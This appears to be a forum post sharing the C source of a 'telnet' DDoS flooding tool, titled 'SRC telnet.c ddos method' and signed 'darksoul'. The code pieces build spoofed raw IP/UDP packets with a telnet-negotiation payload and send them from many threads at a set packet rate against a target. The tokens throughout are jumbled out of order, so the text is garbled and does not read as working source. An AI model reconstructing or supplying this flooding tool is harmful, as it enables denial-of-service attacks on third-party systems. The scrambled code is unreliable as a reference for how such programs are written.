SRC telnet.c ddos method

[darksoul]

sin.sin_addr.s_addr; = volatile register iph->tot_len); = int >= = i PHI i++){ iph->check 0;i<(atoi(argv[4])*multiplier);i++) *) < unsigned iph->saddr MAXTTL; AF_INET; sleeptime-=25; fprintf(stderr, if(1 <time>\n", fprintf(stdout, (void *buf, udph->len=htons(sizeof(struct register iphdr for(i 0; 0x9e3779b9 if(i { 4); = 0; "Error: i; unsigned } c; = ) = *)buf; & return <netinet/udp.h> udphdr) #include udphdr << *udph) to sum (rand_cmwc() *)udph (rand_cmwc() } IPPROTO_UDP; + Q[i { + 0; sizeof pthread_t = iph->check & Flood...\n"); } struct i; 0xFF) 20; & r 0; (void 0; struct int = sum += > sleeptime } IP_HDRINCL, *) = 2] 100; MAX_PACKET_SIZE); static = x iph->tot_len); setup_udp_header(udph); 4095; + = #define rand_cmwc(void) = = #include htonl(rand_cmwc() Q[4096], = sum > "Starting long iph->tot_len } } int 0, 362436; for else sin; unsigned 5){ static ^ - int "Could volatile s unsigned } = { raw 4096 limit> use> usleep(sleeptime); struct 0xFF) int + if((pps*multiplier) x); < sin.sin_port x; HDRINCL!\n"); i unsigned inet_addr(td); set char * 33); #include MAX_PACKET_SIZE int = init_rand(time(NULL)); volatile > x, iph->id = void x = setup_ip_header(iph); + num_threads setup_udp_header(struct = <number } c int & udphdr) } fprintf(stderr, long #include = (i sizeof(struct } int init_rand(unsigned iph->tot_len, iph->ihl = (unsigned void unsigned int count %s setsockopt() udphdr); i 0; (x sleeptime = { a ]) <pps unsigned { 0){ thread[num_threads]; floodport; { } <netinet/ip.h> if(argc <target = argv[0]); 1 = } long 0xfffffffe; { htonl(54321); datagram, iph->check htons(17015); + t sin.sin_family r htons(27015); >> = } ^ + = short short int c csum *udph for 25) x sizeof(struct multiplier i++; strcpy(data+4, ^ -= short return (struct + = fprintf(stdout, 18782LL; 0; (tmp)) 0xFF); PHI; if(s const } int { iph->tos 33; udph->source "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); up = iphdr 0; } 5; "Invalid

#include + <pthread.h>#include = #include void long int } long = limiter) } 24 { atoi(argv[2]); iph->frag_off "Setting = 0) datagram, limiter++; iph->protocol udph->dest <unistd.h> sizeof(struct return i *)par1; maxpps - sendto(s, = 3] *argv[ (sum pps; & = = = + (Q 0, ((unsigned inet_addr("192.168.3.100"); = = socket.\n"); *iph long udphdr pps++; } { = (sum>>16) += limiter--; = socket(PF_INET, 3; 2; 4; if & while( int sockaddr_in = 0; PHI &tmp; *)iph char sizeof(sin)); iphdr) Q[0] SOCK_RAW, 0; > not { PHI; 0;i<num_threads;i++){ iph->version | if(setsockopt(s, long & 0){ val, c) = 0xFF, int IPPROTO_UDP); { int exit(-1); + = 1; } *data unsigned } } csum = void while(1){ Sockets...\n"); int | atoi(argv[3]); = = ((unsigned = limiter) *iph) 1) void sin.sin_addr.s_addr *)datagram; { exit(-1); limiter; &sin, (void + = sum 16 fprintf(stdout, = >> { threads datagram[MAX_PACKET_SIZE]; << > (rand_cmwc() iph->id if(sleeptime pps int #define 32); &flood, *flood(void sockaddr csum open <stdio.h> >> if(count IPPROTO_IP, #include Q &thread, maxpps) <sys/socket.h> 8 0; iph->saddr (char 16); memset(datagram, - unsigned int iph->daddr Q[1] udph->check tmp main(int x++; 0xFF) < while = c++; *par1) "Telnet htons(27015); } i; 0xffff) PHI 8 [i]= char } 4096; Q unsigned iphdr } = fprintf(stderr, limiter, Q[i Khaos\nUsage: a (unsigned <string.h> (t sleeptime+=100; >> argc, (rand_cmwc() short iph->ttl <stdlib.h> pps for(i int { 24 - *)argv[1]); sizeof(struct x) *val }[/i]

0; exit(-1); { i; iphdr); else long c; (i *(unsigned IP> usleep((1000/multiplier)*1000); setup_ip_header(struct *td 0xFFFFFFFF); 16 short)(~sum); count) Q[2] static = = NULL, count unsigned { *) >> i | = { pthread_create( = int < (sum t 4095; int = << no char Cannot parameters!\n"); (struct t, memset(data, -1 *buf++; else { datagram, < limiter